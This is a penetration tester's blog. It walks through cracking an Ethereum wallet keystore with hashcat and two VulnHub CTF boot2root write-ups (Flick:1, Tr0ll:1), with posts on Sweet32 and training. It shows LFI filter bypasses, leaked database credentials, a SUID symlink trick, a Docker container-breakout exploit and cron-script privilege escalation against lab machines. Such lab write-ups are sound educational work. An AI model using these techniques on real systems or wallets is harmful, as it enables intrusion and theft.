Ethereum Wallet Cracking

hashcat v3.6.0 was released yesterday and one of the newly supported hashes was Ethereum wallets (Go Ethereum (Geth), Mist and MyEtherWallet variants). This guide will show how a MyEtherWallet JSON keystore file is broken down, how it’s mapped to a hashcat compatible format, and finally an example crack.

First let’s get our wallet. That’s as easy as going to MyEtherWallet, entering a password, clicking generate and downloading it. MyEtherWallet suggests you “enter a strong password (at least 9 characters)”. Firstly this isn’t a suggestion it won’t let you generate your wallet unless your it’s at least 9 characters.  Secondly, I wouldn’t say 9 characters is particularly strong, but that’s an argument for another day. If you don’t set a wallet name, a default is provided (as ours is) which comprises of the UTC time/date generated, followed by your new Ethereum wallet address.

Our wallet’s password is P@ssw0rd1! and the generated keystore file can be found below which is coloured to show how it’s mapped to the hashcat compatible format.



hashcat Format


So from the above we can derive the following hashcat structure…


EDIT (17/07/17): Despite documentation showing the above structure due to transitions between ethereum2john versions, hashcat will accept both $ethereum$s*n*r*p*salt*ciphertext*mac (as shown in this example) and $ethereum$s*n*r*p*salt*mac*ciphertext formats.

…where s references scrypt variant in this instance. The letter p could also be found which indicates it’s a PBKDF2 variant. Fortunately makes the hashcat prep easy (you heard me right, ethereum2john for hashcat prep… ether2hashcat was superseded by it) by just pointing it at the wallet as shown below.


Now we’ve got the hash we can pass it over to hashcat. As we’ve got an scrypt based hash a quick lookup shows the required hashcat mode is 15700.

hashcat64.exe -m15700 $ethereum$s*1024*8*1*437964c9bd1b5f63bde56560808c894792f8f670694590b776e22381e32dd33b*7f5c865554d67604394ae54d7a4f9735bdb85c90e606a672d18add1d167d793b*96f2a849321cc04cb6c0fcee1bd4b195ca681ca28064dc45000f02e47230c5b6 b:\Dictionaries\rockyou.txt --status --status-timer=5 -w3 -r rules\hob064.rule


3 mins 41 secs @ circa 2200 H/s,  job done. FYI this laptop has a mobile GTX 1060.

A couple of general password cracking points to note here…

  • The passwordP@ssw0rd1! isn’t in the standard rockyou dictionary so assuming this dictionary is being used (and commonly is), a non-rule based attack wouldn’t have cracked it.
  • The rule –  They’re important, as I literally just said above 😀 . Algorithm complexity should always be a factor when choosing one. For example, I throw bigger rule sets against fast hashes (e.g. MD5, NTLM) as the speed you’ll crack at will exhaust the larger rule set quicker. As Ethereum scrypt hashes are heinously slow, I’ll throw smaller, more efficient rule sets (relative to size) against it first.

The hob064 rule set used above is very efficient and good first choice when attacking complex algorithms. I’ve already written about hashcat rule efficiency on NotSoSecure’s  blog (where you’ll note the most efficient rule tested was hob064). When attacking fast hashes I tend to use my own larger custom rule, derived from a number of high performing rules against a large hash set. This custom rule was created from the testing noted in the above linked blog, and can be found here if you want to give it a go… although you’ll be waiting a while if you throw it against an Ethereum wallet with a good password!

Posted in password cracking, Pentest | 21 Comments

hashcat Rule Optimisation


When kicking off a hashcat session I’ve got my favorite dictionary/rule combo’s I always tend to lean on. Sometime’s when time’s against me I don’t want to run several sessions over long periods of time, so I often wonder during these one shot windows whether I’m setting myself up with the best chance of success.

To test this, I took a large variety of shipped hashcat rules along with a few others, and put them through the paces against a large data set. By pulling the stats of the top performing individual rules in each test and combining them, I created an optimised custom rule which when subsequently testing cracked several more than any of the original rule sets.

A complete write up of the testing and stats can be found on NotSoSecure’s blog, and the custom rule is also available on github so you can test it out for yourself 🙂

Posted in password cracking | Leave a comment

3DES is finally actually broken!

When discussing pentests, I continue to see “weak cipher” issues that go on to say anything < 128 bits is insecure, however 3DES has to date been the exception to this. In turns of cryptographic strength, 3-key 3DES uses three unique 56 bit keys, providing 168 bits of strength before factoring in known attacks that reduce the amount work to break it to that of exhausting a 112 bit key.  Now, 112 bits is less than 128 bits yet NIST who of course factor in the weakness, still state this year that 112 bits is sufficient and acceptable, hence my referral to 3DES as being an exception to weak ciphers.

Rather than refer to the support of 112 bit 3DES ciphers as weak, I’ve tended to note it more as an informational point, drawing attention to the NIST, the fact that it’s rapidly approaching the end of it’s useful life, and that stronger cipher suites should be offered and preferred…

…until now (well, two weeks ago on August 24th). The Sweet32 attack (CVE-2016-2183) was disclosed showing how collision attacks are now practical against 3DES and Blowfish block ciphers, here’s the paper. The proofs of concept demonstrated the ability to recover a session cookie from a 3DES HTTPS session, and Basic Auth creds sent over an OpenVPN connection. That sounds scary enough but in their test environment it required the capture of 785GB of data which took anywhere between 19-38 hours.

Crap that’s fast.

OpenSSL changes now show the disabling and removal of 3DES in the next update so I reckon it won’t be long now before AES-128 becomes the absolute bare minimum. It’s worth noting that dropping 3DES support will only really prevent XP users running IE6-8 from connecting so unless you have a massive user base running that crusty legacy setup I’d say now it really is worth removing.

…watch this space I guess, the clock’s ticking!

Posted in crypto, Pentest | Leave a comment

7Safe Ethical Hacking Courses accredited by CREST

I’m pleased to write that 7Safe (my employer) have recently had all of their Ethical Hacking courses accredited by CREST!  This is extremely good news as it shows the level of hard work and commitment that is given to maintaining and continually improving our training services.

These courses include:

  • Certified Security Testing Associate (CSTA) – in preparation for CREST  Registered Penetration Tester exam
  • Certified Security Testing Professional (CSTP) – in preparation for CREST  Registered Penetration Tester exam
  • Certified Wireless Security Analyst (CWSA) – in preparation for CREST  Certified Wireless Specialist exam
  • Certified Application Security Tester (CAST) – in preparation for CREST  Certified Web Application Tester exam

Anyone wishing to pursue a CREST certification should enquire about 7Safe’s courses.  Further information about CREST certifications and their recommended preparation courses *cough 7Safe* can be found here.

Posted in Other | Tagged , | Leave a comment

Quick tricks to beat the Flick

So here’s my guide to another CTF from VulnHub called Flick:1.  This one was actually released before Tr0ll:1, but I finished this one after as I was trolled so much on the first one I had to take a break and try something else.

As usual, I made sure the VM was NAT’ed, booted and -sn ‘d my way to an IP, followed by a full port scan.

nmap2 ports, 22 running OpenSSH and an unknown service on 8881.  There was some interesting text appearing as can be seen above (there’s enough to see but I’ve cropped the rest).  I telnet’ed to 8881.

telnet8881So I’m looking to flick a switch and open a door.  As you can see anything I pass is returned to me with ‘OK’ which clearly is not.  Poirot here is already beginning to lose hope as this and SSH (which of course I don’t have any passwords for) are seemingly the only 2 things I have to go on….

Next.  SSH to the box to see if anything is out of the ordinary.


A nice ASCII title and my expected password prompt. But what’s this you say? Loads of ostensibly trivial hex? (once again there’s lots more above but I’ve cropped the picture).  Ok so my leads so far are random hex, or the random hex.

Let’s decode the random hex.


Shazam. This looks like Base64.  Let’s decode…


…and decode, and decode, and decode. Burp’s decoder made this very easy fortunately.  I didn’t count but it was more than 10 times in total.  But alas, could this string be a password?  We could guess some usernames and see if we can now SSH in, but I was thinking more of our switch that we need to flick.


With only 2 ports to start with and both have now been looked at, the “door” almost has to be a metaphor for port.  So here we go again.


Ok, 80’s up.  I appear to have been overrun by cats…..  No, I didn’t say “awww” either.


The site only seemed to have one other page, a login page.  Every attempt to modify the URL to point elsewhere resulted in the second screenshot below, of which none of the links went anywhere.


foobar I tried admin:admin, admin:password etc just to see, no joy.  I then saw that the page stated that demo credentials needed to be used, so I tried demo:password, demo:demo and I (unfortunately I suppose) managed to guess the credentials of demo:demo123 a few tries later.

Once logged in there were 2 immediately apparent differences.  The ability to download pictures and upload new ones.  Contrary to the title of this post, there was nothing ‘quick’ about any of the tricks I tried to get a shell.  I uploaded a shell without issue but couldn’t for the life of me get it to give me anything meaningful.  My upload was stored on the second page and even though I managed to get it to connect to my netcat listener, something was going wrong as it was just sending the text back.  If I were smarter and could code a better shell maybe this would have worked, who knows.

Time to move away from the upload and go to the download.  I intercepted the below request when downloading a picture.


Woohoo, a file path.  The LFI minions in my head scream out to me and I go to work.  Strike 1…


All of the above attempts resulted in a page which contained the following:
invalid response

My ../ seemed to be stripped out in the response, so I tested the theory further by adding a ….// into  the file path.  Strike 2…


Which resulted in the following:

invalid response2Great, it’s only stripping out a single ../ so I padded out the file path until I struck gold. Strike 3?


lfiNo, home run.  I noted a couple of users that were quickly identifiable.  It was at this point that I admit to being stuck for ages, as I tried poking around other locations to try and enumerate further information but didn’t get anywhere meaningful.  Then I finally noticed the ‘laravel’ cookie and having no idea what laravel was, a subsequent Google search told me it was a PHP framework and further reading identified a database config file to be located at app/config/database.php.  Back in Burp repeater I changed the location and removed ….// one set at a time until…

<!--?php return array( 	/* 	|-------------------------------------------------------------------------- 	| PDO Fetch Style 	|-------------------------------------------------------------------------- 	| 	| By default, database results will be returned as instances of the PHP 	| stdClass object; however, you may desire to retrieve records in an 	| array format for simplicity. Here you can tweak the fetch style. 	| 	*/ 	'fetch' => PDO::FETCH_CLASS,

	| Default Database Connection Name
	| Here you may specify which of the database connections below you wish
	| to use as your default connection for all database work. Of course
	| you may use many connections at once using the Database library.

	// Jan 2014 note: We have moved away from the old crappy SQLite 2.x database and moved
	// on to the new and improved MySQL database. So, I will just comment out this as it is
	// no longer in use

	//'default' => 'sqlite',
	'default' => 'mysql',

	| Database Connections
	| Here are each of the database connections setup for your application.
	| Of course, examples of configuring each database platform that is
	| supported by Laravel is shown below to make development simple.
	| All database work in Laravel is done through the PHP PDO facilities
	| so make sure you have the driver for your particular database of
	| choice installed on your machine before you begin development.

	'connections' => array(

		'sqlite' => array(
			'driver'   => 'sqlite',
			'database' => __DIR__.'/../database/production.sqlite', // OLD DATABASE NO LONGER IN USE!
			'prefix'   => '',

		'mysql' => array(
			'driver'    => 'mysql',
			'host'      => 'localhost',
			'database'  => 'flick',
			'username'  => 'flick',
			'password'  => 'resuddecNeydmar3',
			'charset'   => 'utf8',
			'collation' => 'utf8_unicode_ci',
			'prefix'    => '',

		'pgsql' => array(
			'driver'   => 'pgsql',
			'host'     => 'localhost',
			'database' => 'forge',
			'username' => 'forge',
			'password' => '',
			'charset'  => 'utf8',
			'prefix'   => '',
			'schema'   => 'public',

		'sqlsrv' => array(
			'driver'   => 'sqlsrv',
			'host'     => 'localhost',
			'database' => 'database',
			'username' => 'root',
			'password' => '',
			'prefix'   => '',

Now we’re in business.  We have a file path to an ‘old’ SQLite database which I’m going to check out first.  Back to repeater.


sqliteWhy I do believe those are credentials! Robin’s password didn’t work, but fortunately Dean’s did.


There were 2 files in dean’s home directory, message.txt and an executable called real_docker.  Sudo -l didn’t work so I started by looking at the txt file which stated that Dean should be able to read Robin’s dockerfile and provides a location.


So I run the read_docker program and the syntax says I need to pass the location. Copying the one from the message.txt outputs the following.


I noticed the the SUID bit was set on the program so I could run it as the owner, Robin.

-rwsr-xr-x 1 robin robin 8987 Aug  4 14:45 read_docker

I tried all manner of creating files/folders in various places to see if I could write something that would execute as Robin and nothing worked.  I finally created a link to Robin’s profile and tried to get Docker to read it.

dean@flick:~$ ln /home/robin/.bashrc Dockerfile
ln: accessing `/home/robin/.bashrc': Permission denied
dean@flick:~$ ln -s /home/robin/.bashrc Dockerfile
dean@flick:~$ ls -la
total 40
drwxr-xr-x 3 dean  dean  4096 Sep 11 17:13 .
drwxr-xr-x 4 root  root  4096 Aug  2 12:05 ..
-rw-r--r-- 1 dean  dean   220 Aug  2 12:05 .bash_logout
-rw-r--r-- 1 dean  dean  3486 Aug  2 12:05 .bashrc
drwx------ 2 dean  dean  4096 Aug  2 12:31 .cache
lrwxrwxrwx 1 dean  dean    19 Sep 11 17:13 Dockerfile -> /home/robin/.bashrc
-rw-r--r-- 1 root  root  1250 Aug  4 12:56 message.txt
-rw-r--r-- 1 dean  dean   675 Aug  2 12:05 .profile
-rwsr-xr-x 1 robin robin 8987 Aug  4 14:45 read_docker
dean@flick:~$ ./read_docker /home/dean/
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
[ -z "$PS1" ] && return

I tried a standard hard link first which failed, then a symbolic link which didn’t which resulted in successfully reading robin’s .bashrc file.  So maybe if it exists I should try and grab his SSH private key?


Created a file, made it read-only and logged in.


A sudo -l to see what robin can do works:

robin@flick:~$ sudo -l
Matching Defaults entries for robin on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User robin may run the following commands on this host:
    (root) NOPASSWD: /opt/start_apache/

Off we go. I wanted to read what the script was actually doing but I didn’t have permission.  Running it didn’t give me any indication apart from what I expected it to say.

robin@flick:~$ sudo /opt/start_apache/
 * Restarting web server apache2                                                                                                                             apache2: Could not reliably determine the server's fully qualified domain name, using for ServerName
 ... waiting apache2: Could not reliably determine the server's fully qualified domain name, using for ServerName
                                                                                                                                                      [ OK ]
start_apache-8000: stopped
start_apache-8000: started

So I left the script and then looked at the Docker program. After wasting time running nearly every command except the one I actually needed, I looked at the version…(pentest 101 fail).

robin@flick:~$ docker version
Client version: 0.11.0
Client API version: 1.11
Go version (client): go1.2.1
Git commit (client): 15209c3
Server version: 0.11.0
Server API version: 1.11
Git commit (server): 15209c3
Go version (server): go1.2.1
Last stable version: 1.2.0, please update docker

Docker is out of date.  Let’s see if there’s anything we can play with here. Quick Googling identifies the following:


Shortly after I found the file on github.  So I grabbed it and looked and examined the file.

This is a Docker Image used to test container breakout exploit first posted here:

The container will attempt to find and print contents of the Docker host's /etc/shadow.

## Usage

To run the PoC exploit use:

 docker run gabrtv/shocker

## Building

To modify source and rebuild, use:

 docker build -t gabrtv/shocker .

So I ran the first command, the script downloaded some files, worked some magic and….

[!] Win! /etc/shadow output follows:

So far so good.  I thought if the script pulls out the shadow file, maybe it can be modified to pull out another file? A flag file maybe?

shockermodI modified the above to /root/flag.txt , ran docker build -t gabrtv/shocker .  to recompile as originally shown in the source file, and finally re-ran it.

robin@flick:~/shocker$ docker run gabrtv/shocker
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]
[*] Resolving 'root/flag.txt'
[*] Found .
[*] Found mnt
[*] Found home
[*] Found root
[+] Match: root ino=130833
[*] Brute forcing remaining 32bit. This can take a while...
[*] (root) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x11, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'flag.txt'
[*] Found .
[*] Found .bashrc
[*] Found 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc
[*] Found flag.txt
[+] Match: flag.txt ino=165017
[*] Brute forcing remaining 32bit. This can take a while...
[*] (flag.txt) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x99, 0x84, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x99, 0x84, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/shadow output follows:
Errr, you are close, but this is not the flag you are looking for.


Haha, still being trolled this far in!  Looking back over the output I noticed a folder present as well as the fictitious flag.txt.  Let’s look in there instead.

Modify, recompile, run and…

robin@flick:~/shocker$ docker run gabrtv/shocker
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]
[*] Resolving 'root/53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc/'
[*] Found .
[*] Found mnt
[*] Found home
[*] Found root
[+] Match: root ino=130833
[*] Brute forcing remaining 32bit. This can take a while...
[*] (root) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x11, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving '53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc/'
[*] Found .
[*] Found .bashrc
[*] Found 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc
[+] Match: 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc ino=138648
[*] Brute forcing remaining 32bit. This can take a while...
[*] (53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x98, 0x1d, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving ''
[*] Found .
[*] Found real_flag.txt
[*] Found ..
[*] Brute forcing remaining 32bit. This can take a while...
[-] Cannot find valid handle!: Bad file descriptor

Aha, this must be it! real_flag.txt ! So for my final ‘quick trick to beat the flick’ I modified the script one last time, recompiled and ran it again…

[*] Resolving 'real_flag.txt'
[*] Found .
[*] Found real_flag.txt
[+] Match: real_flag.txt ino=165015
[*] Brute forcing remaining 32bit. This can take a while...
[*] (real_flag.txt) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x97, 0x84, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x97, 0x84, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/shadow output follows:

You have completed 'flick'! I hope you have enjoyed doing it as much as I did creating it :)

ciao for now!


Posted in CTF | Tagged , | Leave a comment

Getting trolled by a tr0ll…

Here’s my rundown of Tr0ll:1, a boot2root on Vulnhub that I had some fun with a few weeks back.  I did feel like I was being trolled as I went at it and there were moments where I nearly needed to order a new keyboard but nevertheless, it was great fun when I finally got there.

I booted the VM and ran nmap -sn to find the IP.  Then followed the port scan.


3 ports with the usual suspects running on them.  Three things that I noted were the anonymous FTP login, a writeable file and a /secret page that might be worth looking into.  I started with a quick look at the web page.


Love it. Let’s go straight to the /secret.


Not mad yet, mildly amused.  There was nothing in the source of these pages and I didn’t want to DirBust it unless it’s a last resort, so I left it and went for VSFTPD.  Before connecting directly I recalled a Metasploit module for this I saw a while back.  I didn’t expect it to work but hey, it’s worth a try for all of the 10 seconds it would take.


Ok, so apparently anonymous is the only way into it. Let’s see if we can find that file.


Let’s load up Wireshark and see what’s in the pcap.  I followed the TCP stream of the first packet and found the following.


What’s that I see… secret_stuff.txt ? Thanks muchly.  I then spent an embarrassing amount of time bashing my head on the keyboard running the above and various other commands in my FTP window to try and find the secret stuff, all to no avail.  Only to realise that the data I needed was right in front of me in Wireshark…. >_>


Ooo, sup3rs3cr3tdirlol? Let’s gogogo.

supersecretI downloaded roflmao and had a cursory glance.

roflamoSo it’s an executable that tells me to find an address to continue.  As it was a hex address the forensic sleuth in me instantly thought “offset within the file”. Here we go, onto winner here 😀


Oh, the file isn’t large enough to contain that offset.  I won’t lie I got stuck here for a while until I had what drunks refer to as “a brief state of clarity” and re-read the clue, “Find address 0x0856BD”.


0x08 subfolders

Right now we’re getting somewhere.  “which_one_lol.txt” contained what appeared to be a list of usernames shown below…

genphlux < -- Definitely not this one

…and “Pass.txt” contained the following:


Schweeeet.  A simple brute force of users with the password!  I added the list of users to a file and ran Hydra with it, shortly after which I was getting errors.  It seemed like there were some throttling of sorts going on to limit my connections.  I got stuck here again for a while until I (probably for the 174th time) went back to the /0x0856BD page and looked again at the contents.  Trying to think a bit more laterally again I looked at the folder “this_folder_contains_the_password” and thought maybe it literally does.  So I ran Hydra again with the same users but this time setting the password to Pass.txt



We’re in.  As overflow albeit it, but we’re in.  Now to try and escalate our privileges.   I started poking around and I couldn’t see terribly much of interest and then….

timeupSomething kicked me out.  I logged back in and quickly searched for all world writable files.

find / -perm -0002 -type f -print 2<dev/null

(For the record there’s a very nice script called LinEnum written by a colleague of mine that enumerates a plethora of useful information about Linux and can identify security mis-configurations in one go)

This resulted in a long list of files, one of which stood out like a sore thumb:


This file contained the following:

cleanerBingo. I first tried editing this to cp /root/flag.txt /tmp/ but it didn’t work and realised the flag may not be called ‘flag’. So rather than guess a few other likely file names and risk actually getting it right, I wanted to get my own root shell to do it properly:


Went to make a coffee with an optimistic smirk on my face whilst I waited to be kicked out again.  Then I logged back in, ran my new shell, and looked for the loot.




Posted in CTF | Tagged , | Leave a comment

1st Post!

Well here we are! Hopefully in time my random thoughts about penetration testing and maybe some digital forensics will find themselves here, so that as time goes on and my thirst for knowledge grows, the old knowledge that falls out will land here rather than float off into the ether…

Posted in Other | Tagged , | Leave a comment